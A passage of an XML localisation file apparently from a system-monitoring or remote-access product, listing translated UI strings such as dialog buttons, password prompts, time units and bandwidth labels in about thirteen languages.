<ja>送信ネットワーク トラフィック</ja>
<zh>出站网络流量</zh>
<ko>아웃바운드 네트워크 트래픽</ko>
<en-gb>Outbound Network Traffic</en-gb>
<hu>Kimenő hálózati forgalom</hu>
<pt-br>Tráfego da rede de saída</pt-br>
<nl>Uitgaand netwerkverkeer</nl>
</msg>
</cat>
<msg name="FREQ">
<en>Sampling Frequency</en>
<de>Abtastfrequenz</de>
<es>Frecuencia de muestreo</es>
<fr>Fréquence d'échantillonnnage</fr>
<it>Frequenza di campionamento</it>
<ru>Частота выборки</ru>
<ja>サンプリング周波数</ja>
<zh>取样频率</zh>
<ko>샘플링 빈도</ko>
<en-gb>Sampling Frequency</en-gb>
<hu>Mintavételi gyakoriság</hu>
<pt-br>Freqüência de amostragem</pt-br>
<nl>Samplingfrequentie</nl>
</msg>
<msg name="MIN">
<en>Min</en>
<de>Min</de>
<es>Mín.</es>
<fr>Min</fr>
<it>Min.</it>
<ru>Мин.</ru>
<ja>最小</ja>
<zh>最小</zh>
<ko>최소</ko>
<en-gb>Min</en-gb>
<hu>Min</hu>
<pt-br>Min.</pt-br>
<nl>Min.</nl>
</msg>
<msg name="MAX">
<en>Max</en>
<de>Max</de>
<es>Máx.</es>
<fr>Max</fr>
<it>Max</it>
<ru>Макс.</ru>
<ja>最大</ja>
<zh>最大</zh>
<ko>최대</ko>
<en-gb>Max</en-gb>
<hu>Max</hu>
<pt-br>Máx.</pt-br>
<nl>Max.</nl>
</msg>
<msg name="AVG">
<en>Avg</en>
<de>Durchschnittl.</de>
<es>Med.</es>
<fr>Moyenne</fr>
<it>Media</it>
<ru>Сред.</ru>
<ja>平均</ja>
<zh>平均</zh>
<ko>평균</ko>
<en-gb>Avg</en-gb>
<hu>Átl</hu>
<pt-br>Média</pt-br>
<nl>Gem.</nl>
</msg>
<msg name="TOTAL">
<en>Σ Total</en>
<de>Σ Gesamt</de>
<es>S Total</es>
<fr>Σ Total</fr>
<it>S totale</it>
<ru>Общая Σ</ru>
<ja>Σ 合計</ja>
<zh>总和</zh>
<ko>Σ 합계</ko>
<en-gb>Σ Total</en-gb>
<hu>Σ Összes</hu>
<pt-br>Σ Total</pt-br>
<nl>Σ-totaal</nl>
</msg>
<msg name="INTENSE">
<en>Most CPU-Intensive Processes</en>
<de>Prozesse mit höchster CPU-Nutzung</de>
<es>Procesos con mayor uso de la CPU</es>
<fr>Procesus avec l'utilisation temps CPU le plus élévé</fr>
<it>Processi più impegnativi per la CPU</it>
<ru>Процессы, наиболее интенсивно использующие ЦП</ru>
<ja>最もCPU負荷率の高いプロセス</ja>
<zh>大部分 CPU 密集型进程</zh>
<ko>대부분의 CPU 집약 프로세스</ko>
<en-gb>Most CPU-Intensive Processes</en-gb>
<hu>A processzort leginkább igénybe vevő folyamatok</hu>
<pt-br>Processos de CPU mais intensos</pt-br>
<nl>Meest CPU-intensieve processen</nl>
</msg>
<msg name="MAXBWI">
<en>Maximum Inbound Bandwidth</en>
<de>Max. Bandbreite f. eingehende Daten</de>
<es>Ancho de banda entrante máximo</es>
<fr>Entrée Bande passante Maximum</fr>
<it>Larghezza di banda massima in entrata</it>
<ru>Максимальная входящая пропускная способность</ru>
<ja>最大着信帯域幅</ja>
<zh>最大入站带宽</zh>
<ko>최대 인바운드 대역폭</ko>
<en-gb>Maximum Inbound Bandwidth</en-gb>
<hu>Maximális bejövő sávszélesség</hu>
<pt-br>Largura de banda de entrada máxima</pt-br>
<nl>Maximale bandbreedte voor binnenkomend verkeer</nl>
</msg>
<msg name="MAXBWO">
<en>Maximum Outbound Bandwidth</en>
<de>Max. Bandbreite f. ausgehende Daten</de>
<es>Ancho de banda saliente máximo</es>
<fr>Sortie Bande passante Maximum</fr>
<it>Larghezza di banda massima in uscita</it>
<ru>Максимальная исходящая пропускная способность</ru>
<ja>最大送信帯域幅</ja>
<zh>最大出站带宽</zh>
<ko>최대 아웃바운드 대역폭</ko>
<en-gb>Maximum Outbound Bandwidth</en-gb>
<hu>Maximális kimenő sávszélesség</hu>
<pt-br>Largura de banda de saída máxima</pt-br>
<nl>Maximale bandbreedte voor uitgaand verkeer</nl>
</msg>
<msg name="KBPS">
<en>kilobits/second</en>
<de>kilobits/sekunde</de>
<es>kilobits/segundo</es>
<fr>kilobits/seconde</fr>
<it>kilobit/secondo</it>
<ru>килобит/сек</ru>
<ja>キロビット/秒</ja>
<zh>Kb/s</zh>
<ko>킬로비트/초</ko>
<en-gb>kilobits/second</en-gb>
<hu>kilobit/másodperc</hu>
<pt-br>kilobits/segundo</pt-br>
<nl>kilobits/seconde</nl>
</msg>
</cat>
<msg name="WELCOMELINE">
<en>Welcome to %PRODUCTNAME.</en>
<de>Willkommen bei %PRODUCTNAME.</de>
<es>Bienvenido a %PRODUCTNAME.</es>
<fr>Merci d'utiliser %PRODUCTNAME</fr>
<it>Benvenuto in %PRODUCTNAME.</it>
<ru>Вас приветствует программа %PRODUCTNAME.</ru>
<ja>%PRODUCTNAME へようこそ。</ja>
<zh>欢迎使用 %PRODUCTNAME。</zh>
<ko>%PRODUCTNAME 시작.</ko>
<en-gb>Welcome to %PRODUCTNAME.</en-gb>
<hu>Üdvözli Önt a %PRODUCTNAME.</hu>
<pt-br>Bem-vindo ao %PRODUCTNAME.</pt-br>
<nl>Welkom bij %PRODUCTNAME.</nl>
</msg>
<!-- general messages for dialog boxes -->
<cat name="DIALOG">
<msg name="OK">
<en>OK</en>
<de>OK</de>
<es>Aceptar</es>
<fr>OK</fr>
<it>OK</it>
<ru>OK</ru>
<ja>OK</ja>
<zh>确定</zh>
<ko>확인</ko>
<en-gb>OK</en-gb>
<hu>OK</hu>
<pt-br>OK</pt-br>
<nl>OK</nl>
</msg>
<msg os="macosx" name="OK">
<en>Ok</en>
<de>Ok</de>
<es>Aceptar</es>
<fr>Ok</fr>
<it>Ok</it>
<ru>Ok</ru>
<ja>Ok</ja>
<zh>确定</zh>
<ko>확인</ko>
<en-gb>Ok</en-gb>
<hu>Ok</hu>
<nl>OK</nl>
</msg>
<msg name="CANCEL">
<en>Cancel</en>
<de>Abbrechen</de>
<ja>キャンセル</ja>
<es>Cancelar</es>
<fr>Annuler</fr>
<it>Annulla</it>
<ru>Отмена</ru>
<zh>取消</zh>
<ko>취소</ko>
<en-gb>Cancel</en-gb>
<hu>Mégse</hu>
<pt-br>Cancelar</pt-br>
<nl>Annuleren</nl>
</msg>
<msg name="APPLY">
<en>Apply</en>
<de>Übernehmen</de>
<es>Aplicar</es>
<fr>Appliquer</fr>
<it>Applica</it>
<ru>Применить</ru>
<ja>適用</ja>
<zh>应用</zh>
<ko>적용</ko>
<en-gb>Apply</en-gb>
<hu>Alkalmaz</hu>
<pt-br>Aplicar</pt-br>
<nl>Toepassen</nl>
</msg>
<msg name="REFRESH">
<en>Refresh</en>
<de>Aktualisieren</de>
<es>Actualizar</es>
<fr>Actualiser</fr>
<it>Aggiorna</it>
<ru>Обновить</ru>
<ja>更新</ja>
<zh>刷新</zh>
<ko>새로 고침</ko>
<en-gb>Refresh</en-gb>
<hu>Frissít</hu>
<pt-br>Atualizar</pt-br>
<nl>Vernieuwen</nl>
</msg>
<msg name="CONTINUE">
<en>Continue</en>
<de>Weiter</de>
<es>Continuar</es>
<fr>Continuer</fr>
<it>Continua</it>
<ru>Продолжить</ru>
<ja>続行</ja>
<zh>继续</zh>
<ko>계속</ko>
<en-gb>Continue</en-gb>
<hu>Folytatás</hu>
<pt-br>Continuar</pt-br>
<nl>Doorgaan</nl>
</msg>
<msg name="YES">
<en>Yes</en>
<de>Ja</de>
<es>Sí</es>
<fr>Oui</fr>
<it>Sì</it>
<ru>Да</ru>
<ja>はい</ja>
<zh>是</zh>
<ko>예</ko>
<en-gb>Yes</en-gb>
<hu>Igen</hu>
<pt-br>Sim</pt-br>
<nl>Ja</nl>
</msg>
<msg name="NO">
<en>No</en>
<de>Nein</de>
<es>No</es>
<fr>Non</fr>
<it>No</it>
<ru>Нет</ru>
<ja>いいえ</ja>
<zh>否</zh>
<ko>아니오</ko>
<en-gb>No</en-gb>
<hu>Nem</hu>
<pt-br>Não</pt-br>
<nl>Nee</nl>
</msg>
<msg name="NEXT">
<en>Next &gt;&gt;</en>
<de>Weiter &gt;&gt;</de>
<es>Siguiente &gt;&gt;</es>
<fr>Suivant &gt;</fr>
<it>Avanti &gt;&gt;</it>
<ru>Далее &gt;&gt;</ru>
<ja>次へ &gt;&gt;</ja>
<zh>下一步 &gt;&gt;</zh>
<ko>다음 &gt;&gt;</ko>
<en-gb>Next &gt;&gt;</en-gb>
<hu>Tovább &gt;&gt;</hu>
<pt-br>Avançar &gt;&gt;</pt-br>
<nl>Volgende &gt;&gt;</nl>
</msg>
<msg name="PREV">
<en>&lt;&lt; Back</en>
<de>&lt;&lt; Zurück</de>
<es>&lt;&lt; Atrás</es>
<fr>&lt; Précédent</fr>
<it>&lt;&lt; Indietro</it>
<ru>&lt;&lt; Назад</ru>
<ja>&lt;&lt; 戻る</ja>
<zh>&lt;&lt; 上一步</zh>
<ko>&lt;&lt; 뒤로</ko>
<en-gb>&lt;&lt; Back</en-gb>
<hu>&lt;&lt; Vissza</hu>
<pt-br>&lt;&lt; Back (Voltar)</pt-br>
<nl>&lt;&lt; Vorige</nl>
</msg>
<msg name="DONE">
<en>Done</en>
<de>Fertig</de>
<es>Listo</es>
<fr>Terminé</fr>
<it>Chiudi</it>
<ru>Готово</ru>
<ja>完了</ja>
<zh>完成</zh>
<ko>완료</ko>
<en-gb>Done</en-gb>
<hu>Kész</hu>
<pt-br>Concluído</pt-br>
<nl>Gereed</nl>
</msg>
<msg name="FINISH">
<en>Finish</en>
<de>Enden</de>
<fr>Finir</fr>
<es>Finalizar</es>
<it>Fine</it>
<ru>Готово</ru>
<ja>終了</ja>
<zh>结束</zh>
<ko>마침</ko>
<en-gb>Finish</en-gb>
<hu>Befejezés</hu>
<pt-br>Concluir</pt-br>
<nl>Voltooien</nl>
</msg>
<msg name="BACK">
<en>Back</en>
<de>Zurück</de>
<es>Atrás</es>
<fr>Précédent</fr>
<it>Indietro</it>
<ru>Назад</ru>
<ja>戻る</ja>
<zh>返回</zh>
<ko>뒤로</ko>
<en-gb>Back</en-gb>
<hu>Vissza</hu>
<pt-br>Voltar</pt-br>
<nl>Vorige</nl>
</msg>
<msg name="RETRY">
<en>Retry</en>
<de>Wiederholen</de>
<es>Reintentar</es>
<fr>Réessayer</fr>
<it>Riprova</it>
<nl>Opnieuw</nl>
<pt-br>Tentar novamente</pt-br>
<hu>Ismét</hu>
<ru>Повтор</ru>
<ja>再試行</ja>
<ko>다시 시도</ko>
<zh>重试</zh>
</msg>
<msg name="SAVE">
<en>Save</en>
<de>Speichern</de>
<es>Guardar</es>
<fr>Enregistrer</fr>
<it>Salva</it>
<nl>Opslaan</nl>
<pt-br>Salvar</pt-br>
<hu>Mentés</hu>
<ru>Сохранить</ru>
<ja>保存</ja>
<ko>저장</ko>
<zh>保存</zh>
</msg>
<msg name="DISCONNECT">
<en>Disconnect</en>
<de>Schließen</de>
<fr>Déconnecter</fr>
<ja>切断</ja>
<es>Desconectar</es>
<it>Disconnetti</it>
<ru>Отключить</ru>
<zh>断开连接</zh>
<ko>연결 해제</ko>
<en-gb>Disconnect</en-gb>
<hu>Kilépés</hu>
<pt-br>Desconectar</pt-br>
<nl>Verbinding verbreken</nl>
</msg>
<msg name="UPDATE">
<en>Refresh</en>
<de>Aktualisieren</de>
<es>Actualizar</es>
<fr>Actualiser</fr>
<it>Aggiorna</it>
<ru>Обновить</ru>
<ja>更新</ja>
<zh>刷新</zh>
<ko>새로 고침</ko>
<en-gb>Refresh</en-gb>
<hu>Frissít</hu>
<pt-br>Atualizar</pt-br>
<nl>Vernieuwen</nl>
</msg>
<msg name="BROWSE">
<en>Browse...</en>
<de>Durchsuchen</de>
<es>Buscar...</es>
<fr>Parcourrir</fr>
<it>Sfoglia...</it>
<ru>Обзор...</ru>
<ja>参照...</ja>
<zh>浏览...</zh>
<ko>찾아보기...</ko>
<en-gb>Browse...</en-gb>
<hu>Tallózás...</hu>
<pt-br>Pesquisar...</pt-br>
<nl>Bladeren...</nl>
</msg>
<msg name="PARENT">
<en>Parent</en>
<de>Übergeordnetes Objekt</de>
<es>Padre</es>
<fr>Parent</fr>
<it>Principale</it>
<ru>Родительский объект</ru>
<ja>親</ja>
<zh>父项</zh>
<ko>부모</ko>
<en-gb>Parent</en-gb>
<hu>Szülő</hu>
<pt-br>Pai</pt-br>
<nl>Bovenliggend item</nl>
</msg>
<msg name="ROOT">
<en>Root</en>
<de>Oberste Ebene</de>
<es>Raíz</es>
<fr>Racine</fr>
<it>Radice</it>
<ru>Корень</ru>
<ja>ルート</ja>
<zh>根目录</zh>
<ko>루트</ko>
<en-gb>Root</en-gb>
<hu>Gyökér</hu>
<pt-br>Raiz</pt-br>
<nl>Hoofdmap</nl>
</msg>
<msg name="CONFIG">
<en>Settings</en>
<de>Einstellungen</de>
<es>Configuración</es>
<fr>Paramètres</fr>
<it>Impostazioni</it>
<ru>Параметры</ru>
<ja>設定</ja>
<zh>设置</zh>
<ko>설정</ko>
<en-gb>Settings</en-gb>
<hu>Beállítások</hu>
<pt-br>Configurações</pt-br>
<nl>Instellingen</nl>
</msg>
<msg name="ADD">
<en>Add</en>
<de>Hinzufügen</de>
<es>Agregar</es>
<fr>Ajouter</fr>
<it>Aggiungi</it>
<ru>Добавить</ru>
<ja>追加</ja>
<zh>添加</zh>
<ko>추가</ko>
<en-gb>Add</en-gb>
<hu>Hozzáadás</hu>
<pt-br>Adicionar</pt-br>
<nl>Toevoegen</nl>
</msg>
<msg name="EDIT">
<en>Edit</en>
<de>Bearbeiten</de>
<es>Editar</es>
<fr>Editer</fr>
<it>Modifica</it>
<ru>Изменить</ru>
<ja>編集</ja>
<zh>编辑</zh>
<ko>편집</ko>
<en-gb>Edit</en-gb>
<hu>Szerkesztés</hu>
<pt-br>Editar</pt-br>
<nl>Bewerken</nl>
</msg>
<msg name="REMOVE">
<en>Remove</en>
<de>Entfernen</de>
<es>Eliminar</es>
<fr>Supprimer</fr>
<it>Rimuovi</it>
<ru>Удалить</ru>
<ja>削除</ja>
<zh>删除</zh>
<ko>제거</ko>
<en-gb>Remove</en-gb>
<hu>Eltávolítás</hu>
<pt-br>Remover</pt-br>
<nl>Verwijderen</nl>
</msg>
<msg name="CREATE">
<en>Create</en>
<de>Erstellen</de>
<es>Crear</es>
<fr>Créer</fr>
<it>Crea</it>
<ru>Создать</ru>
<ja>作成</ja>
<zh>创建</zh>
<ko>만들기</ko>
<en-gb>Create</en-gb>
<hu>Létrehozás</hu>
<pt-br>Criar</pt-br>
<nl>Maken</nl>
</msg>
<msg name="DELETE">
<en>Delete</en>
<de>Löschen</de>
<es>Eliminar</es>
<fr>Effacer</fr>
<it>Elimina</it>
<ru>Удалить</ru>
<ja>削除</ja>
<zh>删除</zh>
<ko>삭제</ko>
<en-gb>Delete</en-gb>
<hu>Törlés</hu>
<pt-br>Excluir</pt-br>
<nl>Verwijderen</nl>
</msg>
<msg name="NOTE">
<en>Note</en>
<de>Anmerkung</de>
<es>Nota</es>
<fr>Note</fr>
<it>Nota</it>
<ru>Примечание</ru>
<ja>ノート</ja>
<zh>注</zh>
<ko>참고</ko>
<en-gb>Note</en-gb>
<hu>Megjegyzés</hu>
<pt-br>Observação</pt-br>
<nl>Opmerking</nl>
</msg>
<msg name="MOVEUP">
<en>Move Up</en>
<de>Nach oben</de>
<es>Mover arriba</es>
<fr>Vers le haut</fr>
<it>Sposta su</it>
<ru>Переместить вверх</ru>
<ja>上に移動</ja>
<zh>上移</zh>
<ko>위로 이동</ko>
<en-gb>Move Up</en-gb>
<hu>Fel</hu>
<pt-br>Cima</pt-br>
<nl>Omhoog</nl>
</msg>
<msg name="MOVEDN">
<en>Move Down</en>
<de>Nach unten</de>
<es>Mover abajo</es>
<fr>Vers le bas</fr>
<it>Sposta giù</it>
<ru>Переместить вниз</ru>
<ja>下に移動</ja>
<zh>下移</zh>
<ko>아래로 이동</ko>
<en-gb>Move Down</en-gb>
<hu>Le</hu>
<pt-br>Baixo</pt-br>
<nl>Omlaag</nl>
</msg>
<msg name="ERROR">
<en>Error</en>
<de>Fehler</de>
<es>Error</es>
<fr>Erreur</fr>
<it>Errore</it>
<ru>Ошибка</ru>
<ja>エラー</ja>
<zh>错误</zh>
<ko>오류</ko>
<en-gb>Error</en-gb>
<hu>Hiba</hu>
<pt-br>Erro</pt-br>
<nl>Fout</nl>
</msg>
<msg name="SYSERROR">
<en>System error</en>
<de>Systemfehler</de>
<es>Error del sistema</es>
<fr>Erreur Système</fr>
<it>Errore di sistema</it>
<ru>Системная ошибка</ru>
<ja>システム エラー</ja>
<zh>系统错误</zh>
<ko>시스템 오류</ko>
<en-gb>System error</en-gb>
<hu>Rendszerhiba</hu>
<pt-br>Erro do sistema</pt-br>
<nl>Systeemfout</nl>
</msg>
<msg name="LISTUSERS">
<en>List users and groups</en>
<de>Benutzer und Gruppen auflisten</de>
<es>Crear lista de usuarios y grupos</es>
<fr>Liste utilisateurs et groupes</fr>
<it>Elenca utenti e gruppi</it>
<ru>Список пользователей и групп</ru>
<ja>ユーザとグループのリスト化</ja>
<zh>列出用户和组</zh>
<ko>사용자 및 그룹 나열</ko>
<en-gb>List users and groups</en-gb>
<hu>Felhasználók és csoportok listája</hu>
<pt-br>Listar usuários e grupos</pt-br>
<nl>Lijst met gebruikers en groepen</nl>
</msg>
<msg name="MAKESURE">
<en>Are you sure?</en>
<de>Sind Sie Sicher?</de>
<es>¿Está seguro?</es>
<fr>Etes-vous sûr?</fr>
<it>Continuare?</it>
<ru>Продолжить?</ru>
<ja>本当にいいですか?</ja>
<zh>是否确定?</zh>
<ko>수행하시겠습니까?</ko>
<en-gb>Are you sure?</en-gb>
<hu>Biztos benne?</hu>
<pt-br>Tem certeza?</pt-br>
<nl>Weet u het zeker?</nl>
</msg>
<msg name="PWDENTRY">
<!-- entry field for a password -->
<en>Password</en>
<de>Kennwort</de>
<es>Contraseña</es>
<fr>Mot de passe</fr>
<it>Password</it>
<ru>Пароль</ru>
<ja>パスワード</ja>
<zh>密码</zh>
<ko>암호</ko>
<en-gb>Password</en-gb>
<hu>Jelszó</hu>
<pt-br>Senha</pt-br>
<nl>Wachtwoord</nl>
</msg>
<msg name="PWDCONFIRM">
<!-- entry field for password confirmation -->
<en>Confirm password</en>
<de>Kennwort bestätigen</de>
<es>Confirmar contraseña</es>
<fr>Comfirmez le mot de passe</fr>
<it>Conferma password</it>
<ru>Подтвердить пароль</ru>
<ja>パスワードを確認</ja>
<zh>确认密码</zh>
<ko>암호 확인</ko>
<en-gb>Confirm password</en-gb>
<hu>Jelszó megerősítése</hu>
<pt-br>Confirmar senha</pt-br>
<nl>Wachtwoord bevestigen</nl>
</msg>
<msg name="PWDMISMATCH">
<!-- failed password confirmation -->
<en>Your password and the verification don't match.</en>
<de>Das Kennwort stimmt mit der Bestätigung nicht überein.</de>
<es>Su contraseña y la confirmación no coinciden.</es>
<fr>Votre mot de passe et la vérification ne sont pas identique.</fr>
<it>La password e la password di conferma non corrispondono.</it>
<ru>Пароль и подтверждение не совпадают</ru>
<ja>パスワードと検証が一致しません。</ja>
<zh>您的密码与验证密码不匹配。</zh>
<ko>암호와 확인 암호가 일치하지 않습니다.</ko>
<en-gb>Your password and the verification don't match.</en-gb>
<hu>Az Ön jelszava és a jelszó megerősítése nem egyezik.</hu>
<pt-br>Sua senha e a verificação não são correspondentes.</pt-br>
<nl>Uw wachtwoord en het wachtwoord ter bevestiging komen niet overeen.</nl>
</msg>
<msg name="MAINMENU">
<en>Main menu</en>
<de>Hauptmenü</de>
<es>Menú principal</es>
<fr>Menu principal</fr>
<it>Menu principale</it>
<ru>Главное меню</ru>
<ja>メイン メニュー</ja>
<zh>主菜单</zh>
<ko>주 메뉴</ko>
<en-gb>Main menu</en-gb>
<hu>Főmenü</hu>
<pt-br>Menu principal</pt-br>
<nl>Hoofdmenu</nl>
</msg>
<msg name="STATUS">
<en>Status</en>
<de>Status</de>
<es>Estado</es>
<fr>Statut</fr>
<it>Stato</it>
<ru>Состояние</ru>
<ja>ステータス</ja>
<zh>状态</zh>
<ko>상태</ko>
<en-gb>Status</en-gb>
<hu>Állapot</hu>
<pt-br>Status</pt-br>
<nl>Status</nl>
</msg>
<msg name="HELP">
<en>Help</en>
<de>Hilfe</de>
<es>Ayuda</es>
<fr>Aide</fr>
<it>Aiuto</it>
<ru>Справка</ru>
<ja>ヘルプ</ja>
<zh>帮助</zh>
<ko>도움말</ko>
<en-gb>Help</en-gb>
<hu>Súgó</hu>
<pt-br>Ajuda</pt-br>
<nl>Help</nl>
</msg>
<msg name="CLOSE">
<en>Close</en>
<de>Schließen</de>
<es>Cerrar</es>
<fr>Fermer</fr>
<it>Chiudi</it>
<ru>Закрыть</ru>
<ja>閉じる</ja>
<zh>关闭</zh>
<ko>닫기</ko>
<en-gb>Close</en-gb>
<hu>Bezárás</hu>
<pt-br>Fechar</pt-br>
<nl>Sluiten</nl>
</msg>
<msg name="FEEDBACK">
<en>Feedback</en>
<de>Feedback</de>
<es>Comentarios</es>
<fr>Compte rendu</fr>
<it>Commenti e suggerimenti</it>
<ru>Обратная связь</ru>
<ja>フィードバック</ja>
<zh>反馈</zh>
<ko>피드백</ko>
<en-gb>Feedback</en-gb>
<hu>Visszajelzés</hu>
<pt-br>Feedback</pt-br>
<nl>Feedback</nl>
</msg>
<msg name="SEND">
<en>Send</en>
<de>Senden</de>
<es>Enviar</es>
<fr>Envoyer</fr>
<it>Invia</it>
<ru>Отправить</ru>
<ja>送信</ja>
<zh>发送</zh>
<ko>보내기</ko>
<en-gb>Send</en-gb>
<hu>Küldés</hu>
<pt-br>Enviar</pt-br>
<nl>Verzenden</nl>
</msg>
<msg name="TIME.SECOND">
<en>second</en>
<es>segundo</es>
<de>Sekunde</de>
<fr>seconde</fr>
<it>secondo</it>
<ru>секунда</ru>
<ja>秒</ja>
<zh>秒</zh>
<ko>초</ko>
<en-gb>second</en-gb>
<hu>másodperc</hu>
<pt-br>segundo</pt-br>
<nl>seconde</nl>
</msg>
<msg name="TIME.SECONDS">
<en>seconds</en>
<es>segundos</es>
<de>Sekunden</de>
<fr>secondes</fr>
<it>secondi</it>
<ru>секунд(ы)</ru>
<ja>秒</ja>
<zh>秒</zh>
<ko>초</ko>
<en-gb>seconds</en-gb>
<hu>másodperc</hu>
<pt-br>segundos</pt-br>
<nl>secondes</nl>
</msg>
<msg name="TIME.MINUTE">
<en>minute</en>
<de>Minute</de>
<es>minuto</es>
<fr>minute</fr>
<it>minuto</it>
<ru>минута</ru>
<ja>分</ja>
<zh>分钟</zh>
<ko>분</ko>
<en-gb>minute</en-gb>
<hu>perc</hu>
<pt-br>minuto</pt-br>
<nl>minuut</nl>
</msg>
<msg name="TIME.MINUTES">
<en>minutes</en>
<de>Minuten</de>
<es>minutos</es>
<fr>minutes</fr>
<it>minuti</it>
<ru>минут</ru>
<ja>分</ja>
<zh>分钟</zh>
<ko>분</ko>
<en-gb>minutes</en-gb>
<hu>perc</hu>
<pt-br>minutos</pt-br>
<nl>minuten</nl>
</msg>
<msg name="TIME.HOUR">
<en>hour</en>
<de>Stunde</de>
<es>hora</es>
<fr>heure</fr>
<it>ora</it>
<ru>час</ru>
<ja>時間</ja>
<zh>小时</zh>
<ko>시</ko>
<en-gb>hour</en-gb>
<hu>óra</hu>
<pt-br>hora</pt-br>
<nl>uur</nl>
</msg>
<msg name="TIME.HOURS">
<en>hours</en>
<de>Stunden</de>
<es>horas</es>
<fr>heures</fr>
<it>ore</it>
<ru>часов</ru>
<ja>時間</ja>
<zh>小时</zh>
<ko>시간</ko>
<en-gb>hours</en-gb>
<hu>óra</hu>
<pt-br>horas</pt-br>
<nl>uren</nl>
</msg>
<msg name="TIME.DAY">
<en>day</en>
<de>Tag</de>
<es>día</es>
<fr>jour</fr>
<it>giorno</it>
<ru>день</ru>
<ja>日</ja>
<zh>天</zh>
<ko>일</ko>
<en-gb>day</en-gb>
<hu>nap</hu>
<pt-br>dia</pt-br>
<nl>dag</nl>
</msg>
<msg name="TIME.DAYS">
<en>days</en>
<de>Tage</de>
<es>días</es>
<fr>jours</fr>
<it>giorni</it>
<ru>дней</ru>
<ja>日</ja>
<zh>天</zh>
<ko>일</ko>
<en-gb>days</en-gb>
<hu>nap</hu>
<pt-br>dias</pt-br>
<nl>dagen</nl>
</msg>
<msg name="TIME.WEEK">
<en>week</en>
<de>Woche</de>
<es>semana</es>
<fr>semaine</fr>
<it>settimana</it>
<ru>неделя</ru>
<ja>週</ja>
<zh>周</zh>
<ko>주</ko>
<en-gb>week</en-gb>
<hu>hét</hu>
<pt-br>semana</pt-br>
<nl>week</nl>
</msg>
<msg name="TIME.WEEKS">
<en>weeks</en>
<de>Wochen</de>
<es>semanas</es>
<fr>semaines</fr>
<it>settimane</it>
<ru>недель</ru>
<ja>週</ja>
<zh>周</zh>
<ko>주</ko>
<en-gb>weeks</en-gb>
<hu>hét</hu>
<pt-br>semanas</pt-br>
<nl>weken</nl>
</msg>
<msg name="TIME.MONTH">
<en>month</en>
<de>Monat</de>
<es>mes</es>
<fr>mois</fr>
<it>mese</it>
<ru>Месяц</ru>
<ja>ヶ月</ja>
<zh>月</zh>
<ko>월</ko>
<en-gb>month</en-gb>
<hu>hónap</hu>
<pt-br>mês</pt-br>
<nl>maand</nl>
</msg>
<msg name="TIME.MONTHS">
<en>months</en>
<de>Monate</de>
<es>meses</es>
<fr>mois</fr>
<it>mesi</it>
<ru>месяцев</ru>
<ja>ヶ月</ja>
<zh>月</zh>
<ko>개월</ko>
<en-gb>months</en-gb>
<hu>hónap</hu>
<pt-br>meses</pt-br>
<nl>maanden</nl>
</msg>
<msg name="TIME.YEAR">
<en>year</en>
<de>Jahr</de>
<es>año</es>
<fr>année</fr>
<it>anno</it>
<ru>год</ru>
<ja>年</ja>
<zh>年</zh>
<ko>년</ko>
<en-gb>year</en-gb>
<hu>év</hu>
<pt-br>ano</pt-br>
<nl>jaar</nl>
</msg>
<msg name="TIME.YEARS">
<en>years</en>
<de>Jahre</de>
<es>años</es>
<fr>années</fr>
<it>anni</it>
<ru>лет</ru>
<ja>年</ja>
<zh>年</zh>
<ko>년</ko>
<en-gb>years</en-gb>
<hu>év</hu>
<pt-br>anos</pt-br>
<nl>jaren</nl>
</msg>
<msg name="HINT">
<en>Hint</en>
<de>Tip</de>
<es>Consejo</es>
<fr>Asctuce</fr>
<it>Suggerimento</it>
<ru>Совет</ru>
<ja>ヒント</ja>
<zh>提示</zh>
<ko>힌트</ko>
<en-gb>Hint</en-gb>
<hu>Tipp</hu>
<pt-br>Dica</pt-br>
<nl>Tip</nl>
</msg>
<msg name="WAIT">
<en>Please wait...</en>
<de>Bitte warten...</de>
<es>Espere...</es>
<fr>Veuillez patienter...</fr>
<it>Attendere...</it>
<ru>Подождите...</ru>
<ja>お待ちください...</ja>
<zh>请稍候...</zh>
<ko>잠시 기다려 주십시오...</ko>
<en-gb>Please wait...</en-gb>
<hu>Kérem, várjon...</hu>
<pt-br>Aguarde...</pt-br>
<nl>Een ogenblik geduld...</nl>
</msg>
<msg name="CLICKCONTINUE">
<en>To proceed, click continue</en>
<de>Klicken Sie auf "Fortfahren", um fortzufahren</de>
<es>Haga clic para continuar </es>
<fr>Pour continuer, cliquez sur Continuer</fr>
<it>Fare clic su Continua per procedere</it>
<ru>Для продолжения работы нажмите кнопку "Продолжить"</ru>
<ja>次へ進むには [続行] をクリックしてください</ja>
<ko>진행하려면 '계속'을 클릭하십시오.</ko>
<hu>A folytatáshoz kattintson a folytatás gombra</hu>
<pt-br>Para prosseguir, clique em continuar.</pt-br>
<zh>要继续进行,单击以继续</zh>
<nl>Klik op Doorgaan om verder te gaan</nl>
</msg>
<msg name="NODIRECTCONNECTION">
<en>No direct connection</en>
<es>No existe conexión directa</es>
<de>Keine Direktverbindung</de>
<fr>Pad de connexion directe</fr>
<it>Nessuna connessione diretta</it>
<nl>Geen directe verbinding</nl>
<pt-br>Sem conexão direta</pt-br>
<hu>Nincs közvetlen kapcsolat</hu>
<ru>Нет прямого подключения</ru>
<ja>直接接続できません</ja>
<ko>직접 연결 없음</ko>
<zh>无直接连接</zh>
</msg>
<msg name="START">
<en>Share</en>
<de>Freigeben</de>
<es>Compartir</es>
<fr>Partager</fr>
<it>Condividi</it>
<ru>Общий доступ</ru>
<ja>共有</ja>
<zh>共享</zh>
<ko>공유</ko>
<en-gb>Share</en-gb>
<hu>Megosztás</hu>
<pt-br>Compartilhar</pt-br>
<nl>Delen</nl>
</msg>
<msg name="PAUSE">
<en>Pause</en>
<de>Anhalten</de>
<es>Pausar</es>
<fr>Pause</fr>
<it>Pausa</it>
<ru>Приостановить</ru>
<ja>一時停止</ja>
<zh>暂停</zh>
<ko>일시 중지</ko>
<en-gb>Pause</en-gb>
<hu>Szünet</hu>
<pt-br>Pausar</pt-br>
<nl>Pauzeren</nl>
</msg>
</cat>
<!-- timespan formats -->
<msg name="AGODHM">
<en>%1 days, %2 hours, %3 minutes ago</en>
<de>%1 Tage, %2 Stunden, %3 Minuten in Betrieb</de>
<es>Hace %1 días, %2 horas, %3 minutos</es>
<fr>il y a %1 jours, %2 heures, %3 minutes</fr>
<it>%1 giorni, %2 ore, %3 minuti fa</it>
<ru>%1 дней, %2 часов, %3 минут назад</ru>
<ja>%1 日と %2 時間 %3 分前</ja>
<zh>%1 天 %2 小时 %3 分钟之前</zh>
<ko>%1일 %2시간 %3분 전</ko>
<en-gb>%1 days, %2 hours, %3 minutes ago</en-gb>
<hu>%1 napja, %2 órája, %3 perce</hu>
